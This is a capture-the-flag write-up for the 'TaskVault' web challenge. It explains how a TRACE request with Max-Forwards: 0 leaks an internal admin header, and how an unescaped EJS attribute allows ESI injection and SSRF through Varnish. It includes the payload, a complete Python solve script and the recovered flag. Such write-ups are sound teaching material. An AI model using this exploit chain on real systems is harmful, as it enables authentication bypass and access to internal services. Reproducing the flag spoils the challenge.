Description

Lors d’un audit de sécurité chez TaskVault Industries, vous avez découvert une application interne de gestion des tâches appelée “TaskVault”. Cette application semble contenir des informations sensibles sur les projets de l’entreprise, y compris potentiellement des identifiants d’accès et des secrets. Notre équipe a réussi à identifier le serveur hébergeant l’application, mais celui-ci est protégé par plusieurs couches de proxy et un système d’authentification. Votre mission est d’exploiter les faiblesses de cette architecture afin de contourner les protections et d’accéder aux données confidentielles stockées dans TaskVault.

Source code is given: taskvault.tar.xz

Analysis

Architecture overview

The application is composed of three services:

 1$ tree
 2.
 3├── taskvault
 4│   ├── docker-compose.yml
 5│   └── src
 6│       ├── apache2
 7│       │   ├── Dockerfile
 8│       │   └── apache.conf
 9│       ├── app
10│       │   ├── Dockerfile
11│       │   └── src
12│       │       ├── flag-server.js
13│       │       ├── package.json
14│       │       ├── public
15│       │       │   └── favicon.jpeg
16│       │       ├── server.js
17│       │       └── views
18│       │           ├── backlog.ejs
19│       │           ├── login.ejs
20│       │           └── register.ejs
21│       └── varnish
22│           ├── Dockerfile
23│           └── entrypoint.sh
24└── taskvault.tar.xz

The docker containers are:

  • An Express.js container running a task management web application.
  • An Apache container acting as a reverse proxy to the Express.js app.
  • A Varnish container acting as a second reverse proxy, routing traffic based on the Host header: requests with give_me_the_flag are forwarded to a flag service, and all other requests are forwarded to the task management app.

Architecture diagram

When connecting to the service, only the root endpoint is accessible. This is because Varnish injects an X-Admin-Key header that transits between Varnish and the Express.js app through Apache. Express.js checks for this header on every request and returns a 403 if it is missing or invalid:

1app.use((req, res, next) => {
2    const adminKey = req.headers["x-admin-key"];
3
4    if (!adminKey || adminKey !== process.env.ADMIN_KEY) {
5        return res.status(403).json({ error: "Unauthorized access" });
6    }
7    next();
8});

Varnish configuration audit

The Varnish entrypoint is:

 1/bin/cat > /etc/varnish/default.vcl << EOF
 2vcl 4.0;
 3
 4backend default {
 5    .host = "taskvault-apache2";
 6    .port = "8000";
 7}
 8
 9backend flag_backend {
10    .host = "taskvault-app";
11    .port = "1337";
12}
13
14sub vcl_backend_fetch {
15    if (bereq.http.host == "give_me_the_flag") {
16        set bereq.backend = flag_backend;
17    } else {
18        set bereq.backend = default;
19    }
20}
21
22sub vcl_recv {
23    if (req.url == "/" || req.url == "/favicon.jpeg") {
24        set req.http.X-Admin-Key = "${ADMIN_KEY}";
25    }
26    return(pass);
27}
28
29sub vcl_backend_response {
30    set beresp.do_esi = true;
31}
32EOF
33
34exec varnishd -F -a :8000 -s malloc,256m -f /etc/varnish/default.vcl

Two things stand out:

  • The X-Admin-Key header is only injected for / and /favicon.jpeg; all other routes are unprotected.
  • ESI (Edge Side Includes) is enabled for all responses via beresp.do_esi = true.

ESI is a markup language for assembling dynamic web content server-side. If a user can inject ESI tags into a response, they can trigger a Server-Side Request Forgery (SSRF), forcing the server to fetch an arbitrary URL.

Apache configuration audit

The Apache configuration is:

1ServerAdmin contact@fcsc.fr
2ServerName fcsc.fr
3
4<VirtualHost *:8000>
5    TraceEnable on
6    ProxyPass / http://taskvault-app:3000/
7    ProxyPassReverse / http://taskvault-app:3000/
8</VirtualHost>

The notable detail here is TraceEnable on. The TRACE HTTP method is primarily used for debugging: it echoes back the headers received by the server. In a proxy chain, this can be abused to leak headers added by intermediate proxies, such as X-Admin-Key.

Express.js application audit

Looking for user input rendered without escaping, I search for the <%- pattern in EJS templates (which outputs raw HTML, unlike <%= which escapes it):

1$ grep -arin '<%-'
2views/backlog.ejs:95:          <h3 id="<%- note.title %>" ...><%= note.title %></h3>

The note title is inserted unescaped into the id attribute of an HTML tag. This allows ESI injection with a payload like:

1"><esi:include src="..." />

Exploitation

Step 1: Leaking X-Admin-Key via TRACE

To recover the X-Admin-Key value, we abuse the TRACE method combined with the Max-Forwards: 0 header. This header limits the number of hops a request can make through proxies. Setting it to 0 tells Apache to stop forwarding and respond directly, echoing back the headers it received, including the X-Admin-Key injected by Varnish.

Sending a plain TRACE without Max-Forwards fails because Apache forwards it to Express.js, which rejects the method:

TRACE without Max-Forwards

Adding Max-Forwards: 0 stops the request at Apache and leaks the header:

TRACE with Max-Forwards: 0

Step 2: Accessing protected endpoints

With the X-Admin-Key value recovered, we can now reach protected routes such as /register:

Register request with X-Admin-Key

After adding the header in the browser via an extension:

Header added in Firefox

We can access the registration page and create an account:

Registration page

Step 3: ESI injection and SSRF

Once logged in, we create a note with an ESI payload as its title:

1"><esi:include src="http://give_me_the_flag/" />

Since Varnish processes ESI tags on all responses, this triggers a server-side request to the give_me_the_flag backend. The flag is returned inline and appears in the id attribute of the title element:

Flag in the title id

Full solve script

 1import requests
 2import random
 3
 4URL = "https://taskvault.fcsc.fr"
 5
 6def hijack_admin_key():
 7    r = requests.request("TRACE", URL, headers={"Max-Forwards": "0"})
 8    return r.text.split("X-Admin-Key: ")[1].split("\r\n")[0]
 9
10def register(admin_key):
11    data = {"username": ''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(12)]), "password": "password"}
12    r = requests.post(URL+"/register", data=data, headers={"X-Admin-Key": admin_key}, allow_redirects=False)
13    return r.headers["Set-Cookie"].split(";")[0].split("=")[1]
14
15def esi_injection(cookie, admin_key):
16    data = {"title": '"><esi:include src="http://give_me_the_flag/" />', "content": "ESI Injection"}
17    cookies = {"connect.sid": cookie}
18    r = requests.post(URL+"/backlog", data=data, cookies=cookies, headers={"X-Admin-Key": admin_key})
19    return "FCSC{" + r.text.split("FCSC{")[1].split("}")[0] + "}"
20
21def solve():
22    admin_key = hijack_admin_key()
23    cookie = register(admin_key)
24    flag = esi_injection(cookie, admin_key)
25    print(f"[+] FLAG: {flag}")
26
27if __name__ == "__main__":
28    solve()

Flag recovered by the script

Flag

1FCSC{1d371153caa2fde47d9970a5d214edf82be573e6bcb976a27c02606d77195efe}